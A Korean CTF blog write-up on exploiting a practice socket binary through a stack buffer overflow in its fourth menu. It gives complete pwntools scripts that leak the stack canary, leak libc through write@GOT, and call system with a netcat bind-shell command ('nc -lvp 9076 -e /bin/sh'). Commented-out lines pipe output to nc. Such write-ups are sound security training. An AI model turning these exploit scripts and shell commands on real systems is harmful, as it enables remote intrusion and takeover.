보호기법은 스택카나리와 NX가 걸려있다.
이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.
실행을 하면 메뉴가 나온다.
근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.
그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.
그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.
그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.
각 메뉴에 대해 취약점이 존재하는지 확인해보았다.
4번 메뉴에서 취약점이 나온다.
4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.
즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.
해당 함수의 변수를 보면
ebp-0x20
ebp-0x1c
ebp-0x16
ebp-0x12
ebp-0xe
ebp-oxc
ebp-0x8까지 있다.
즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.
이제 카나리 값을 알아야 하는데.
ebp-0x16에서 카나리를 릭해줘야 한다.
처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.
그래서 9개를 넣어보았다.
하지만 9개도 카나리가 나오지 않았다.
즉 카나리의 첫바이트는 널바이트라는 것이다.
그래서 10개를 넣으니 카나리가 릭됐다.
카나리는 이렇게 릭을 해주면 되고..
처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.
처음에 짠 exploit code
from pwn import *
def canary_leak():
p = remote("localhost", 8888)
print p.recvuntil(">")
p.sendline("4")
print p.recvuntil("(y/n)")
p.sendline("y"*10)
print p.recvuntil("You choose '")
dummy_canary = p.recvuntil("'!").split("\n")[1]
canary = u32("\x00" + dummy_canary[0:3])
ret = u32(dummy_canary[15:19])
log.info("canary = {}".format(hex(canary)))
log.info("ret = {}".format(hex(ret)))
print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
p.close()
return canary
def exploit(canary):
binsh = 0x804970d
bss = 0x804b080
execl_plt = 0x8048710
pppr = 0x8048b2c
payload = "y"*10
payload += p32(canary)
payload += "A"*12
payload += p32(execl_plt)
payload += p32(pppr)
payload += p32(binsh)
payload += p32(binsh)
payload += p32(0)
p = remote("localhost", 8888)
p.recvuntil(">")
p.sendline("4")
print p.recvuntil("(y/n)")
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
canary = canary_leak()
exploit(canary)
위 방법은 attacker입장에선 무의미하다.
그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.
libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)
exploit code
from pwn import *
def canary_leak():
p = remote("localhost", 8888)
print p.recvuntil(">")
p.sendline("4")
print p.recvuntil("(y/n)")
p.sendline("y"*10)
print p.recvuntil("You choose '")
dummy_canary = p.recvuntil("'!").split("\n")[1]
canary = u32("\x00" + dummy_canary[0:3])
ret = u32(dummy_canary[15:19])
log.info("canary = {}".format(hex(canary)))
log.info("ret = {}".format(hex(ret)))
print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
p.close()
return canary
def exploit(canary):
read_plt = 0x8048620
read_got = 0x804b010
write_plt = 0x80486e0
write_got = 0x804b040
binsh = 0x804970d
bss = 0x804b080
system_offset = 0x9add0 # write - system
pppr = 0x8048b2c
#cmd = "/bin/sh -i <&4 >&4 2>&4\x00"
#cmd = "ls -l | nc localhost 9076\x00"
cmd = "nc -lvp 9076 -e /bin/sh\x00"
payload = "y"*10
payload += p32(canary)
payload += "A"*12
payload += p32(write_plt)
payload += "JUNK"
payload += p32(4)
payload += p32(write_got)
payload += p32(4)
p = remote("localhost", 8888)
p.recvuntil(">")
p.sendline("4")
print p.recvuntil("(y/n)")
p.sendline(payload)
print len(p.recv())
libc_write = u32(p.recv())
log.info("libc_write = {}".format(hex(libc_write)))
system_addr = libc_write - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
p.close()
payload = "y"*10
payload += p32(canary)
payload += "A"*12
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(cmd))
payload += p32(system_addr)
payload += "JUNK"
payload += p32(bss)
p = remote("localhost", 8888)
p.recvuntil(">")
p.sendline("4")
print p.recvuntil("(y/n)")
p.sendline(payload)
print p.recv()
p.sendline(cmd)
p.interactive()
if __name__ == "__main__":
canary = canary_leak()
exploit(canary)
'CTF' 카테고리의 다른 글
| CodeGate2016 watermelon (0) | 2018.07.26 |
|---|---|
| CodeGate2014 nuclear (0) | 2018.07.22 |
| CodeGate 2017 babypwn (1) | 2018.07.18 |
| pico-ctf-2013 rop-4 (0) | 2018.07.17 |
| pico-ctf-2013 rop-3 (0) | 2018.07.14 |